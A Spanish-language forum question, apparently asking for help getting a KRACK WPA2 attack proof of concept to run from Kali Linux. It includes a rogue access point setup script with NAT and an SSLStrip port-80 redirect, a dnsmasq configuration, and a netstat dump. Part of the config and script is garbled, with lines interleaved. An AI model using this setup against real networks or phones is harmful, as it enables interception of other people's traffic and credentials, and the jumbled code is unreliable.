No consigo hacer funcionar este scriptOS kali-linux-2018.1-amd64.iso
para krakear wifi wpa2. En el móvil que estoy atacando dice que no obtiene la dirección ip pero dnmasq si que funciona bien o eso creo, ¿qué se les ocurre que puede pasar?
estoy utilizando dos tarjetas alfa usb con vmware
la configuracion del dnsmasq.conf es esta[archive /etc/network/interfaces]
no-resolvauto interface=wlan1wlan0
iface dhcp-range=192.168.0.10,192.168.0.200,8hwlan0 dhcpinet option=3,static
address 192.168.0.111
network dhcp-option=6,192.168.0.1
netmask server=1.1.1255.1 server=1255.0255.0.1 log- querieslog-dhcp
para hacer funcionar el dnmasq utilizo este código
`#!/bin/bash
set -e
# Interfaces that areDNSMASQ used
INTERNET=wlan1
#INTERNET=wlp5s0
REPEATER=wlan0config:
echo ""no-resolv
echo "[ ] Configuring IP address of malicious AP"interface=wlan0
dhcp-range=192.168.0.10,192.168.0.200,8h
ip addr del dhcp-option=3,192.168.1000.1/24 dev wlan0 2> /dev/null || true
ip addr add dhcp-option=6,192.168.1000.1/24 dev $REPEATER
echo "[ ] Enabling IP forwaring"
sysctl netserver=1.ipv41.ip_forward=1 > /dev/null
echo "[ ] Enabling NAT"
iptables -F
iptables -t nat -A POSTROUTING -o $INTERNET -j MASQUERADE
iptables -A FORWARD -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i $REPEATER -o $INTERNET -j ACCEPT
echo "[ ] Enabling SSLStrip rerouting"1.1
server=1.0.0.1
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --tolog-port 10000
echo "[ ] Starting DHCP and DNS service"
echo ""
queries
dnsmasq -d log-C dnsmasq.conf
`dhcp
Dejo lo enlaces https://github.com/lucascouto/krackattack-all-zero-tk-key https://github.com/lucascouto/krackattacks-poc-zerokey
Y el vídeo por si sirve de más ayuda
#!/bin/bash
set -e
# Interfaces that are used
INTERNET=$1
REPEATER=$2
#Configuring IP address of malicious AP
ip addr del 192.168.0.1/24 dev $REPEATER 2> /dev/null || true
ip addr add 192.168.0.1/24 dev $REPEATER
#Enabling IP forwaring
sysctl net.ipv4.ip_forward=1 > /dev/null
#Enabling NAT
iptables -F
iptables -t nat -A POSTROUTING -o $INTERNET -j MASQUERADE
iptables -A FORWARD -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i $REPEATER -o $INTERNET -j ACCEPT
#Starting DHCP and DNS service
dnsmasq -d -C dnsmasq.conf &> dnsmasq.log
https://www.youtube.com/watch?v=Oh4WURZoR98 no condigo dar ip a un dispositivo android,me dice que intenta obtener la direcion ip pero nunca laobtiene esperas 15 segunds y se desconecta del ap falso,podria ser un problema con Selinux ocon los puertos en red local?
la salida de ip addres list es esta sudo ./krack_all_zero_tk.py wlan1 wlan0 usb0 alberto -t MAC_ADDRESS
el movil aun poniendo ip addr add 192.168.100.1/24 dev wlan0 no funciona sale esto [![movil atacado][4]][4]apt-get install python-pip pip install pycryptodome
LANG=C netstat -apn | grep LISTEN
tcp 0 0 0.0.0.0:53 0.0.0.0:* LISTEN 2175/dnsmasq
tcp6 0 0 :::53 :::* LISTEN 2175/dnsmasq
unix 2 [ ACC ] STREAM LISTENING 20249 562/systemd /run/user/133/systemd/private
unix 2 [ ACC ] STREAM LISTENING 20361 601/Xorg @/tmp/.X11-unix/X0
unix 2 [ ACC ] STREAM LISTENING 24742 903/Xorg @/tmp/.X11-unix/X1
unix 2 [ ACC ] STREAM LISTENING 20264 562/systemd /run/user/133/gnupg/S.gpg-agent.ssh
unix 2 [ ACC ] STREAM LISTENING 20267 562/systemd /run/user/133/gnupg/S.gpg-agent.browser
unix 2 [ ACC ] STREAM LISTENING 20269 562/systemd /run/user/133/gnupg/S.gpg-agent
unix 2 [ ACC ] STREAM LISTENING 20271 562/systemd /run/user/133/pulse/native
unix 2 [ ACC ] STREAM LISTENING 20274 562/systemd /run/user/133/bus
unix 2 [ ACC ] STREAM LISTENING 20276 562/systemd /run/user/133/gnupg/S.dirmngr
unix 2 [ ACC ] STREAM LISTENING 20362 601/Xorg /tmp/.X11-unix/X0
unix 2 [ ACC ] STREAM LISTENING 20278 562/systemd /run/user/133/gnupg/S.gpg-agent.extra
unix 2 [ ACC ] STREAM LISTENING 21106 688/gnome-session-b /tmp/.ICE-unix/688
unix 2 [ ACC ] STREAM LISTENING 24743 903/Xorg /tmp/.X11-unix/X1
unix 2 [ ACC ] STREAM LISTENING 24861 964/ssh-agent /tmp/ssh-cNPz2cWVqHoj/agent.912
unix 2 [ ACC ] STREAM LISTENING 25131 912/gnome-session-b @/tmp/.ICE-unix/912
unix 2 [ ACC ] STREAM LISTENING 25132 912/gnome-session-b /tmp/.ICE-unix/912
unix 2 [ ACC ] STREAM LISTENING 18015 536/gdm3 @/tmp/dbus-h3cGYiLw
unix 2 [ ACC ] STREAM LISTENING 24667 897/gnome-keyring-d /run/user/0/keyring/control
unix 2 [ ACC ] STREAM LISTENING 21105 688/gnome-session-b @/tmp/.ICE-unix/688
unix 2 [ ACC ] STREAM LISTENING 18017 536/gdm3 @/tmp/dbus-nyVubJY5
unix 2 [ ACC ] STREAM LISTENING 18018 536/gdm3 @/tmp/dbus-og7mrBuG
unix 2 [ ACC ] STREAM LISTENING 25211 897/gnome-keyring-d /run/user/0/keyring/ssh
unix 2 [ ACC ] STREAM LISTENING 15225 1/init /run/uuidd/request
unix 2 [ ACC ] STREAM LISTENING 15241 1/init /var/run/dbus/system_bus_socket
unix 2 [ ACC ] STREAM LISTENING 25232 897/gnome-keyring-d /run/user/0/keyring/pkcs11
unix 2 [ ACC ] STREAM LISTENING 15261 1/init /var/run/pcscd/pcscd.comm
unix 2 [ ACC ] STREAM LISTENING 24481 880/systemd /run/user/0/systemd/private
unix 2 [ ACC ] STREAM LISTENING 24675 536/gdm3 @/tmp/dbus-igRoA8CJ
unix 2 [ ACC ] STREAM LISTENING 24488 880/systemd /run/user/0/gnupg/S.gpg-agent
unix 2 [ ACC ] STREAM LISTENING 24491 880/systemd /run/user/0/gnupg/S.dirmngr
unix 2 [ ACC ] STREAM LISTENING 24493 880/systemd /run/user/0/pulse/native
unix 2 [ ACC ] STREAM LISTENING 24496 880/systemd /run/user/0/bus
unix 2 [ ACC ] STREAM LISTENING 24498 880/systemd /run/user/0/gnupg/S.gpg-agent.extra
unix 2 [ ACC ] STREAM LISTENING 24500 880/systemd /run/user/0/gnupg/S.gpg-agent.browser
unix 2 [ ACC ] STREAM LISTENING 24502 880/systemd /run/user/0/gnupg/S.gpg-agent.ssh
unix 2 [ ACC ] STREAM LISTENING 12993 1/init /run/systemd/private
unix 2 [ ACC ] STREAM LISTENING 18014 536/gdm3 @/tmp/dbus-vN8ICFaf
unix 2 [ ACC ] STREAM LISTENING 13000 1/init /run/lvm/lvmpolld.socket
unix 2 [ ACC ] SEQPACKET LISTENING 13009 1/init /run/udev/control
unix 2 [ ACC ] STREAM LISTENING 24674 536/gdm3 @/tmp/dbus-F7DQXEEd
unix 2 [ ACC ] STREAM LISTENING 13012 1/init /run/lvm/lvmetad.socket
unix 2 [ ACC ] STREAM LISTENING 13018 1/init /run/systemd/journal/stdout
unix 2 [ ACC ] STREAM LISTENING 13036 1/init /run/systemd/fsck.progress
unix 2 [ ACC ] STREAM LISTENING 25046 989/dbus-daemon @/tmp/dbus-NJ4lzr0pCh
unix 2 [ ACC ] STREAM LISTENING 20868 704/dbus-daemon @/tmp/dbus-lYGwCaERiJ